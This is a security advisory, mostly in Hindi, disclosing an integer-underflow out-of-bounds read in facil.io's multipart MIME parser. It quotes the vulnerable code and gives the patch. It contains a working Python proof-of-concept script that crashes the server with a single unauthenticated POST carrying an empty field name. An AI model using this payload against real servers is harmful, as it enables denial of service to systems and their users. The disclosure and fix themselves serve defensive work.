
Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash
निर्धारित CVE ID CVE-2026-66729
उत्पाद: facil.io
प्रभावित संस्करण: facil.io >= 0.6.0 (सभी 0.6.x, सभी 0.7.x, master); यह तब जोड़ा गया जब MIME पार्सर को 0.6.0 में शामिल किया गया था
घटक: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (इंटीजर अंडरफ्लो), CWE-125 (आउट-ऑफ-बाउंड रीड)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
शोधकर्ता: Theodosis Paidakis
एक uint32_t अंडरफ्लो मल्टीपार्ट MIME बॉडी पार्सर में आउट-ऑफ-बाउंड रीड का कारण बनता है, जब Content-Disposition हेडर में खाली फ़ील्ड नाम (name=;) होता है। जब name_len शून्य होता है, name[name_len - 1] name[0xFFFFFFFF] में बदल जाता है, जो name पॉइंटर से लगभग 4 GB आगे पढ़ता है। यह फॉल्ट उत्पन्न करता है और सर्वर प्रोसेस को क्रैश कर देता है। एक बिना प्रमाणीकरण वाला POST अनुरोध पर्याप्त है।
lib/facil/http/parsers/http_mime_parser.h, पंक्तियाँ 235-241
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
--name_len;
name_len को uint32_t के रूप में घोषित किया गया है। इनपुट name=; के साथ, memchr को ; उसी स्थिति में मिलता है जहाँ name है, इसलिए start - name = 0। एक शून्य uint32_t में से 1 घटाने पर 0xFFFFFFFF में रैप हो जाता है। अभिव्यक्ति name[0xFFFFFFFF] name_ptr + 4294967295 की गणना करती है, जो किसी भी मैप किए गए क्षेत्र से बाहर है।
दूसरी शाखा में पंक्ति 236 (name[name_len - 1] == '\r') की जाँच का पैटर्न समान है, लेकिन वहाँ name_len को end - name के रूप में परिकलित किया जाता है और व्यवहार में यह शून्य नहीं होता।
सर्वर प्रारंभ करें, फिर चलाएँ:
# poc_mime_oob_read.py
import socket
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=;\r\n" # empty name before semicolon
"\r\n"
"value\r\n"
"--B--\r\n"
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096)) # no response — server crashed
print('Check the server')
ASAN आउटपुट (पुष्टि):
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF
एक एकल अनुरोध वर्कर प्रोसेस को क्रैश कर देता है। मल्टी-वर्कर तैनाती में केवल संबंधित वर्कर मरता है; मास्टर उसे पुनः स्पॉन करता है। सिंगल-वर्कर मोड में सर्वर ऑफ़लाइन हो जाता है। डेटा लौटाए जाने से पहले रीड फॉल्ट हो जाता है, इसलिए सूचना का खुलासा प्रदर्शित नहीं होता।
lib/facil/http/parsers/http_mime_parser.h, पंक्ति 241
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
--name_len;